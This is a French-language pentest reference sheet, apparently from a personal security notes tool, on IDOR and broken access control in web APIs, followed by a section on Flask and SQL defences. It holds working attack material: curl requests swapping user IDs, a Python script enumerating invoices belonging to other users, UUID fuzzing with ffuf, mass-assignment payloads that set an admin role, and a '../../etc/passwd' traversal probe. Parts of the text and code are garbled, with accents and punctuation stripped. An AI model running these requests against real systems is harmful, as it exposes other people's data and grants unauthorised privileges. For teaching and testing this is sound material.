MDstable
NoteSnippetChecklistPlaybook

IDOR — Insecure Direct Object Reference

Identification et exploitation des IDOR : énumération d'IDs, BOLA, mass assignment, défense par contrôle d'accès

snippetintermediate 2026-05-14 5 min read
idorbolaaccess-controlbroken-accessapiburpsuitepentest

Principe

IDOR lapplication utilise une rfrence directe ID nom de fichier chemin
sans vrifier que lutilisateur courant est autoris accder cet objet
GET /api/users/1337/profile profil de lutilisateur 1337
GET /api/invoices/42/download facture #42
GET /documents/rapport_confidentiel.pdf fichier direct
Si l'ID est devinable et qu'aucun contrle daccs ne filtre la rponse IDOR

Identification des surfaces IDOR

Points tester
Paramtres dURL /api/ordersid123 /profile/456
Corps de requte POST "user_id" 789 "invoice" 42
Headers HTTP X-User-ID: 123
Cookies account789
Noms de fichiers /uploads/user_123_photo.jpg
Rfrences croises /api/messagesfrom123&to456
GUIDs /api/docs/550e8400-e29b-41d4-a716-446655440000

Test manuel avec Burp Suite

1 Se connecter avec Compte A user_id 100
2 Trouver une requte rfrenant lID GET /api/profile/100
3 Dans Burp Repeater changer 100 101
4 Observer la rponse
200 donnes de lutilisateur 101 IDOR confirm
403 401 contrle daccs prsent
200 mme donnes rponse cache possible vrifier

Tester avec deux comptes

bash
Variables
{{TOKEN_B}}
{{TARGET}}
# Compte A : user_id=100, token=TOKEN_A
# Compte B : user_id=101, token=TOKEN_B
# Accès légitime Compte B
curl -H "Authorization: Bearer {{TOKEN_B}}"
https//{{TARGET}}/api/profile/101
# IDOR : Compte B accède au profil de A
curl -H "Authorization: Bearer {{TOKEN_B}}"
https//{{TARGET}}/api/profile/100
# → Si réponse 200 avec données de A = IDOR confirmé
# IDOR vertical : Compte B (user) accède aux ressources admin
curl -H "Authorization: Bearer {{TOKEN_B}}"
https//{{TARGET}}/api/admin/users

Burp Intruder — Énumération d'IDs

1 Capturer GET /api/invoices/42 requte valide
2 Envoyer vers Intruder marquer 42
3 Payload Numbers From 1 To 5000 Step 1
4 Start Attack filtrer sur Status 200 et Content-Length variable
5 Les rponses 200 avec contenu vide ressources accessibles
python
Variables
{{TARGET}}
{{USER_TOKEN}}
{{OWN_USER_ID}}
# Script Python — énumération automatisée d'IDOR
import requests
import json
BASE_URL = "https://{{TARGET}}/api/invoices"
TOKEN = "{{USER_TOKEN}}"
headers = {"Authorization": f"Bearer {TOKEN}"}
found = []
for invoice_id in range(1, 10000):
r = requests.get(f"{BASE_URL}/{invoice_id}", headers=headers, timeout=5)
if r.status_code == 200:
data = r.json()
# Vérifier que la ressource n'appartient pas à notre compte
if data.get("user_id") != {{OWN_USER_ID}}:
found.append({"id": invoice_id, "owner": data.get("user_id")})
print(f"[IDOR] /api/invoices/{invoice_id} → user {data.get('user_id')}")
print(f"\nTotal IDOR : {len(found)} ressources")

IDOR sur les GUIDs

bash
Variables
{{TARGET}}
{{TOKEN}}
# Les GUIDs semblent non-devinables mais peuvent être prédictibles si :
# - UUID v1 (basé sur le timestamp + MAC) → extractible
# - UUID v4 faible entropie (PRNG seed fixe)
# Tester si les GUIDs sont séquentiels ou liés au temps :
# UUID v1 : 110ec58a-a0f4-11e8-ac7e-1a2b3c4d5e6f
# → timestamp dans les premiers octets
# Fuzzing avec ffuf sur endpoint GUID
ffuf -w uuidstxt -u "https://{{TARGET}}/api/docs/FUZZ"
-H "Authorization: Bearer {{TOKEN}}"
-mc 200 -fs 0
# Générer une liste d'UUIDs v1 séquentiels
python3 -c
import uuid time
base_time timetime
for i in range1000
printuuiduuid1
> uuidstxt

IDOR via paramètres cachés (Mass Assignment)

bash
Variables
{{TARGET}}
{{TOKEN}}
{{VICTIM_USER_ID}}
# Certaines APIs acceptent des champs non documentés dans le body
# Exemple : PATCH /api/profile avec champ "role" ou "user_id"
# Test mass assignment
curl -X PATCH https//{{TARGET}}/api/profile
-H "Authorization: Bearer {{TOKEN}}"
-H "Content-Type: application/json"
-d '{"username":"test","email":"test@test.com","role":"admin","is_admin":true}'
# Test : modifier le user_id dans la requête
curl -X GET https//{{TARGET}}/api/orders
-H "Authorization: Bearer {{TOKEN}}"
-H "Content-Type: application/json"
-d '{"user_id": {{VICTIM_USER_ID}}}'

IDOR dans les APIs REST — patterns courants

bash
Variables
{{VICTIM_ID}}
{{OWN_ID}}
# Ressource indirecte (référence dans le body)
POST /api/messages
"to_user_id" {{VICTIM_ID}} "content" "test"
# → Tester si "from_user_id" peut être forcé dans le body
# Téléchargement de fichier
GET /api/files/downloadfilenamereport_user_100pdf
# → Tester : report_user_101.pdf, ../../etc/passwd
# Export de données
GET /api/exportaccount_id{{OWN_ID}}&formatcsv
# → Tester account_id={{VICTIM_ID}}
# Référence indirecte dans un JWT
# Décoder le JWT : {"sub": "100", "role": "user"}
# Forger avec sub=101 si clé connue (voir fiche JWT)

Défense — Contrôle d'accès

python
# Python (Flask) — vérification systématique du propriétaire
from functools import wraps
def require_owner(resource_fn):
"""Décorateur : vérifie que l'utilisateur courant est propriétaire de la ressource."""
@wraps(resource_fn)
def wrapper(*args, **kwargs):
resource_id = kwargs.get('resource_id')
resource = db.get_resource(resource_id)
if resource is None:
abort(404)
if resource.owner_id != current_user.id:
abort(403) # Ne jamais retourner 404 ici — évite l'énumération
return resource_fn(*args, **kwargs)
return wrapper
@app.route('/api/invoices/<int:resource_id>')
@login_required
@require_owner
def get_invoice(resource_id):
return jsonify(db.get_resource(resource_id))
python
# Requête SQL avec filtre propriétaire intégré
def get_user_invoice(invoice_id: int, user_id: int):
# Ne jamais : SELECT * FROM invoices WHERE id = ?
# Toujours : inclure le filtre utilisateur dans la requête
return db.execute(
"SELECT * FROM invoices WHERE id = ? AND user_id = ?",
(invoice_id, user_id)
).fetchone()
python
# Utiliser des références indirectes opaques (IDOR mitigation)
import secrets, hashlib
def get_opaque_ref(internal_id: int, user_id: int) -> str:
"""Génère une référence opaque liée à l'utilisateur — non-devinable."""
secret = f"{internal_id}:{user_id}:{app.config['SECRET_KEY']}"
return hashlib.sha256(secret.encode()).hexdigest()[:16]
# L'API expose /api/invoices/a3f9c2d1e8b047f6 au lieu de /api/invoices/42
⚠ Attention —

Les IDOR sont régulièrement classés #1 dans les bug bounty car ils sont faciles à trouver, difficiles à prévenir de façon systématique, et souvent très impactants (accès aux données de tous les utilisateurs). Un seul endpoint sans contrôle peut exposer l'ensemble de la base de données.

💡 Tip —

Tester les IDOR en mode horizontal (même rôle, autre utilisateur) ET vertical (rôle inférieur accédant aux ressources admin). Les IDOR verticaux (Broken Function Level Authorization) sont souvent plus critiques et plus oubliés lors des revues de code.

OPS·BRAIN v1.075 notes · Securitylocal